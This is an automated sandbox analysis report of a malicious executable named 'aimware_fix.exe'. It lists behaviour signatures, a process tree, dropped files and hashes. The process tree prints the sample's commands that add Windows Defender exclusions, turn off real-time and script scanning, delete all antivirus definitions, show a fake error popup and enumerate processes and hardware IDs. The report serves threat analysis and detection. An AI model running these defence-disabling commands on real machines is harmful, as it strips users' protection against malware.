Analysis

  • max time kernel
    133s
  • max time network
    135s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    21-06-2024 11:55

General

  • Target

    aimware_fix.exe

  • Size

    6.0MB

  • MD5

    fe07151c33b926c2603b090a844b828d

  • SHA1

    ad2c9722e08e257a71dda0706aad1f97069e4578

  • SHA256

    757686ab2a29f1415316caaa243dd736050dae01c8050e1e90c1acb5a5d9d3bc

  • SHA512

    a642b4ea2f56e868c91f9683bfea36e3460b07fba958f36274d49786ff766a3442532f82b119119a194a9e86637a4a0d5a591fbc6bfdc69499792c1c1ba075b6

  • SSDEEP

    98304:aiThEtdFBCd0amaHl3Ne4i3gmtfXJOLhx9fZAzDJ4wzQgsRuGK4RcOuAKF5s90yB:nTgFId1eN/FJMIDJf0gsAGK4RPuAKFm/

Score
10/10

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • UPX packed file 49 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\aimware_fix.exe
    "C:\Users\Admin\AppData\Local\Temp\aimware_fix.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Users\Admin\AppData\Local\Temp\aimware_fix.exe
      "C:\Users\Admin\AppData\Local\Temp\aimware_fix.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4588
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\aimware_fix.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4424
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\aimware_fix.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1940
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5048
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2144
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:316
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error', 0, 'Error', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4912
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error', 0, 'Error', 0+16);close()"
          4⤵
            PID:4964
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2404
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3080
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1384
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1636

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      3KB

      MD5

      ad5cd538ca58cb28ede39c108acb5785

      SHA1

      1ae910026f3dbe90ed025e9e96ead2b5399be877

      SHA256

      c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

      SHA512

      c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      9b3143540277b4746d07edf9d384d322

      SHA1

      f8e05b90b75d01ad4045725cbaeac1e41ea8d980

      SHA256

      b727b88629bbcdc20ed5da3bf733973f097e02ae184bc1aec40c08ae31026c48

      SHA512

      41786678f87bd396b6eb4ddf0139cf329616cc5b1effb87c81b9878128a1f7a085c2814f0cc66c69437a94096a19b3454190dd44e6ab809f26c836b283e70774

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\_bz2.pyd
      Filesize

      46KB

      MD5

      93fe6d3a67b46370565db12a9969d776

      SHA1

      ff520df8c24ed8aa6567dd0141ef65c4ea00903b

      SHA256

      92ec61ca9ac5742e0848a6bbb9b6b4cda8e039e12ab0f17fb9342d082dde471b

      SHA512

      5c91b56198a8295086c61b4f4e9f16900a7ec43ca4b84e793bc8a3fc8676048cab576e936515bf2971318c7847f1314674b3336fe83b1734f9f70d09615519ac

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\_ctypes.pyd
      Filesize

      56KB

      MD5

      813fc3981cae89a4f93bf7336d3dc5ef

      SHA1

      daff28bcd155a84e55d2603be07ca57e3934a0de

      SHA256

      4ac7fb7b354069e71ebf7fcc193c0f99af559010a0ad82a03b49a92deb0f4d06

      SHA512

      ce93f21b315d96fde96517a7e13f66aa840d4ad1c6e69e68389e235e43581ad543095582ebcb9d2c6dda11c17851b88f5b1ed1d59d354578fe27e7299bbea1cc

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\_decimal.pyd
      Filesize

      103KB

      MD5

      f65d2fed5417feb5fa8c48f106e6caf7

      SHA1

      9260b1535bb811183c9789c23ddd684a9425ffaa

      SHA256

      574fe8e01054a5ba07950e41f37e9cf0aea753f20fe1a31f58e19202d1f641d8

      SHA512

      030502fa4895e0d82c8cce00e78831fc3b2e6d956c8cc3b9fb5e50cb23ef07cd6942949a9f16d02da6908523d9d4ef5f722fb1336d4a80cd944c9f0cb11239ab

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\_hashlib.pyd
      Filesize

      33KB

      MD5

      4ae75c47dbdebaa16a596f31b27abd9e

      SHA1

      a11f963139c715921dedd24bc957ab6d14788c34

      SHA256

      2308ee238cc849b1110018b211b149d607bf447f4e4c1e61449049eab0cf513d

      SHA512

      e908fecb52268fac71933e2fdb96e539bdebe4675dfb50065aee26727bac53e07cca862193bcb3ab72d2ae62d660113a47e73e1e16db401480e4d3fd34d54fa8

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\_lzma.pyd
      Filesize

      84KB

      MD5

      6f810f46f308f7c6ccddca45d8f50039

      SHA1

      6ee24ff6d1c95ba67e1275bb82b9d539a7f56cea

      SHA256

      39497259b87038e86c53e7a39a0b5bbbfcebe00b2f045a148041300b31f33b76

      SHA512

      c692367a26415016e05ebe828309d3ffec290c6d2fd8cc7419d529a51b0beda00ccdc327c9f187ae3ca0cc96336d23d84a8ff95b729c8958b14fb91b6da9e878

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\_queue.pyd
      Filesize

      24KB

      MD5

      0e7612fc1a1fad5a829d4e25cfa87c4f

      SHA1

      3db2d6274ce3dbe3dbb00d799963df8c3046a1d6

      SHA256

      9f6965eb89bbf60df0c51ef0750bbd0655675110d6c42eca0274d109bd9f18a8

      SHA512

      52c57996385b9a573e3105efa09fd6fd24561589b032ef2b2ee60a717f4b33713c35989f2265669f980646d673e3c387b30b9fc98033bb8ca7c59ece1c17e517

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\_socket.pyd
      Filesize

      41KB

      MD5

      7a31bc84c0385590e5a01c4cbe3865c3

      SHA1

      77c4121abe6e134660575d9015308e4b76c69d7c

      SHA256

      5614017765322b81cc57d841b3a63cbdc88678ff605e5d4c8fdbbf8f0ac00f36

      SHA512

      b80cd51e395a3ce6f345b69243d8fc6c46e2e3828bd0a7e63673a508d889a9905d562cac29f1ed394ccfcda72f2f2e22f675963dd96261c19683b06dea0a0882

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\_sqlite3.pyd
      Filesize

      48KB

      MD5

      bb4aa2d11444900c549e201eb1a4cdd6

      SHA1

      ca3bb6fc64d66deaddd804038ea98002d254c50e

      SHA256

      f44d80ab16c27ca65da23ae5fda17eb842065f3e956f10126322b2ea3ecdf43f

      SHA512

      cd3c5704e5d99980109fdc505d39ad5b26a951685e9d8e3fed9e0848cd44e24cc4611669dbdb58acc20f1f4a5c37d5e01d9d965cf6fe74f94da1b29aa2ff6931

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\_ssl.pyd
      Filesize

      60KB

      MD5

      081c878324505d643a70efcc5a80a371

      SHA1

      8bef8336476d8b7c5c9ef71d7b7db4100de32348

      SHA256

      fcb70b58f94f5b0f9d027999cce25e99ddcc8124e4ddcc521cb5b96a52faaa66

      SHA512

      c36293b968a2f83705815ef3a207e444eeb7667ad9af61df75e85151f74f2fe0a299b3b1349de0d410bbbaea9f99cac5228189099a221de5fa1e20c97c648e32

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\base_library.zip
      Filesize

      859KB

      MD5

      6d649e03da81ff46a818ab6ee74e27e2

      SHA1

      90abc7195d2d98bac836dcc05daab68747770a49

      SHA256

      afede0c40e05ce5a50ff541b074d878b07753b7c1b21d15f69d17f66101ba8fd

      SHA512

      e39621c9a63c9c72616ae1f960e928ad4e7bad57bfb5172b296a7cc49e8b8e873be44247a475e7e1ded6bc7e17aa351397cdeb40841258e75193586f4649d737

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\blank.aes
      Filesize

      79KB

      MD5

      c274d2ca423b5cbfdfa3521163ce6646

      SHA1

      1b76c498c6cec0b9a305d234ee46967c441c15f4

      SHA256

      e3665d63f2691b951cd65a62aff6a5c6f3f7307c085359e98f1aef73f0110c61

      SHA512

      bca2c9f1006a23501102068a8f00783a484997abbf3473dec650890939dc3f33128e027ef6b7590d88321d3abbe7588dee1b1eb739f282f354973bbd6d0a4b2c

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\blank.aes
      Filesize

      79KB

      MD5

      4a576ef0dd1b9b75715abff0bbe0ccbd

      SHA1

      fc9826478b447c9411eed7b212ef254b67fee8e5

      SHA256

      fab86c6c6b7333811dc66c0971a126b43f94849e6b0aa3f42bdb4bf9efc95911

      SHA512

      8e22e22f3d0b13ebc11e9ddee57b33c03cb833f75317b36000f0849342219bef5a1a10eb7a80c5080bd620a86ef4c6949a250c67c859e4e0f2f1d57977f63e23

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\libcrypto-1_1.dll
      Filesize

      1.1MB

      MD5

      daa2eed9dceafaef826557ff8a754204

      SHA1

      27d668af7015843104aa5c20ec6bbd30f673e901

      SHA256

      4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914

      SHA512

      7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\libssl-1_1.dll
      Filesize

      203KB

      MD5

      eac369b3fde5c6e8955bd0b8e31d0830

      SHA1

      4bf77158c18fe3a290e44abd2ac1834675de66b4

      SHA256

      60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c

      SHA512

      c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\python310.dll
      Filesize

      1.4MB

      MD5

      178a0f45fde7db40c238f1340a0c0ec0

      SHA1

      dcd2d3d14e06da3e8d7dc91a69b5fd785768b5fe

      SHA256

      9fcb5ad15bd33dd72122a171a5d950e8e47ceda09372f25df828010cde24b8ed

      SHA512

      4b790046787e57b9414a796838a026b1530f497a75c8e62d62b56f8c16a0cbedbefad3d4be957bc18379f64374d8d3bf62d3c64b53476c7c5005a7355acd2cee

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\rar.exe
      Filesize

      615KB

      MD5

      9c223575ae5b9544bc3d69ac6364f75e

      SHA1

      8a1cb5ee02c742e937febc57609ac312247ba386

      SHA256

      90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

      SHA512

      57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\rarreg.key
      Filesize

      456B

      MD5

      4531984cad7dacf24c086830068c4abe

      SHA1

      fa7c8c46677af01a83cf652ef30ba39b2aae14c3

      SHA256

      58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

      SHA512

      00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\select.pyd
      Filesize

      24KB

      MD5

      666358e0d7752530fc4e074ed7e10e62

      SHA1

      b9c6215821f5122c5176ce3cf6658c28c22d46ba

      SHA256

      6615c62fa010bfba5527f5da8af97313a1af986f8564277222a72a1731248841

      SHA512

      1d3d35c095892562ddd2868fbd08473e48b3bb0cb64ef9ccc5550a06c88dda0d82383a1316b6c5584a49ca28ed1ef1e5ca94ec699a423a001ccd952bd6bd553d

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\sqlite3.dll
      Filesize

      608KB

      MD5

      bd2819965b59f015ec4233be2c06f0c1

      SHA1

      cff965068f1659d77be6f4942ca1ada3575ca6e2

      SHA256

      ab072d20cee82ae925dae78fd41cae7cd6257d14fd867996382a69592091d8ec

      SHA512

      f7758bd71d2ad236bf3220db0ad26f3866d9977eab311a5912f6e079b59fa918735c852de6dbf7b5fee9e04124bc0cd438c4c71edc0c04309330108ba0085d59

    • C:\Users\Admin\AppData\Local\Temp\_MEI24282\unicodedata.pyd
      Filesize

      287KB

      MD5

      7a462a10aa1495cef8bfca406fb3637e

      SHA1

      6dcbd46198b89ef3007c76deb42ab10ba4c4cf40

      SHA256

      459bca991fcb88082d49d22cc6ebffe37381a5bd3efcc77c5a52f7a4bb3184c0

      SHA512

      d2b7c6997b4bd390257880a6f3336e88d1dd7159049811f8d7c54e3623e9b033e18e8922422869c81de72fc8c10890c173d8a958d192dd03bfc57cffaea1ac7b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rlynzyct.ffo.ps1
      Filesize

      1B

      MD5

      c4ca4238a0b923820dcc509a6f75849b

      SHA1

      356a192b7913b04c54574d18c28d46e6395428ab

      SHA256

      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      SHA512

      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    • \Users\Admin\AppData\Local\Temp\_MEI24282\VCRUNTIME140.dll
      Filesize

      106KB

      MD5

      870fea4e961e2fbd00110d3783e529be

      SHA1

      a948e65c6f73d7da4ffde4e8533c098a00cc7311

      SHA256

      76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

      SHA512

      0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

    • \Users\Admin\AppData\Local\Temp\_MEI24282\libffi-7.dll
      Filesize

      23KB

      MD5

      6f818913fafe8e4df7fedc46131f201f

      SHA1

      bbb7ba3edbd4783f7f973d97b0b568cc69cadac5

      SHA256

      3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56

      SHA512

      5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

    • memory/1940-94-0x000001D0CF3E0000-0x000001D0CF402000-memory.dmp
      Filesize

      136KB

    • memory/2144-100-0x0000013BF2A40000-0x0000013BF2AB6000-memory.dmp
      Filesize

      472KB

    • memory/4588-70-0x00007FF81BC50000-0x00007FF81BC7E000-memory.dmp
      Filesize

      184KB

    • memory/4588-140-0x00007FF81BCC0000-0x00007FF81C12E000-memory.dmp
      Filesize

      4.4MB

    • memory/4588-68-0x00007FF81FF40000-0x00007FF81FF4D000-memory.dmp
      Filesize

      52KB

    • memory/4588-64-0x00007FF81B080000-0x00007FF81B1F1000-memory.dmp
      Filesize

      1.4MB

    • memory/4588-72-0x00007FF81BB90000-0x00007FF81BC48000-memory.dmp
      Filesize

      736KB

    • memory/4588-77-0x0000026DD8A60000-0x0000026DD8DD5000-memory.dmp
      Filesize

      3.5MB

    • memory/4588-76-0x00007FF81AD00000-0x00007FF81B075000-memory.dmp
      Filesize

      3.5MB

    • memory/4588-75-0x00007FF81BCC0000-0x00007FF81C12E000-memory.dmp
      Filesize

      4.4MB

    • memory/4588-80-0x00007FF81F7A0000-0x00007FF81F7C4000-memory.dmp
      Filesize

      144KB

    • memory/4588-82-0x00007FF81FDC0000-0x00007FF81FDCD000-memory.dmp
      Filesize

      52KB

    • memory/4588-81-0x00007FF81BAF0000-0x00007FF81BB04000-memory.dmp
      Filesize

      80KB

    • memory/4588-84-0x00007FF81C980000-0x00007FF81C9AD000-memory.dmp
      Filesize

      180KB

    • memory/4588-85-0x00007FF81B600000-0x00007FF81B718000-memory.dmp
      Filesize

      1.1MB

    • memory/4588-62-0x00007FF81BCA0000-0x00007FF81BCBF000-memory.dmp
      Filesize

      124KB

    • memory/4588-60-0x00007FF81C960000-0x00007FF81C979000-memory.dmp
      Filesize

      100KB

    • memory/4588-58-0x00007FF81C980000-0x00007FF81C9AD000-memory.dmp
      Filesize

      180KB

    • memory/4588-136-0x00007FF81AD00000-0x00007FF81B075000-memory.dmp
      Filesize

      3.5MB

    • memory/4588-66-0x00007FF81BC80000-0x00007FF81BC99000-memory.dmp
      Filesize

      100KB

    • memory/4588-145-0x00007FF81BCA0000-0x00007FF81BCBF000-memory.dmp
      Filesize

      124KB

    • memory/4588-148-0x00007FF81B080000-0x00007FF81B1F1000-memory.dmp
      Filesize

      1.4MB

    • memory/4588-144-0x00007FF81C960000-0x00007FF81C979000-memory.dmp
      Filesize

      100KB

    • memory/4588-41-0x00007FF81F7A0000-0x00007FF81F7C4000-memory.dmp
      Filesize

      144KB

    • memory/4588-143-0x00007FF81C980000-0x00007FF81C9AD000-memory.dmp
      Filesize

      180KB

    • memory/4588-142-0x00007FF81FF50000-0x00007FF81FF5F000-memory.dmp
      Filesize

      60KB

    • memory/4588-141-0x00007FF81F7A0000-0x00007FF81F7C4000-memory.dmp
      Filesize

      144KB

    • memory/4588-139-0x00007FF81B600000-0x00007FF81B718000-memory.dmp
      Filesize

      1.1MB

    • memory/4588-138-0x00007FF81FDC0000-0x00007FF81FDCD000-memory.dmp
      Filesize

      52KB

    • memory/4588-135-0x00007FF81BB90000-0x00007FF81BC48000-memory.dmp
      Filesize

      736KB

    • memory/4588-134-0x00007FF81BC50000-0x00007FF81BC7E000-memory.dmp
      Filesize

      184KB

    • memory/4588-133-0x00007FF81FF40000-0x00007FF81FF4D000-memory.dmp
      Filesize

      52KB

    • memory/4588-132-0x00007FF81BC80000-0x00007FF81BC99000-memory.dmp
      Filesize

      100KB

    • memory/4588-137-0x00007FF81BAF0000-0x00007FF81BB04000-memory.dmp
      Filesize

      80KB

    • memory/4588-52-0x00007FF81FF50000-0x00007FF81FF5F000-memory.dmp
      Filesize

      60KB

    • memory/4588-29-0x00007FF81BCC0000-0x00007FF81C12E000-memory.dmp
      Filesize

      4.4MB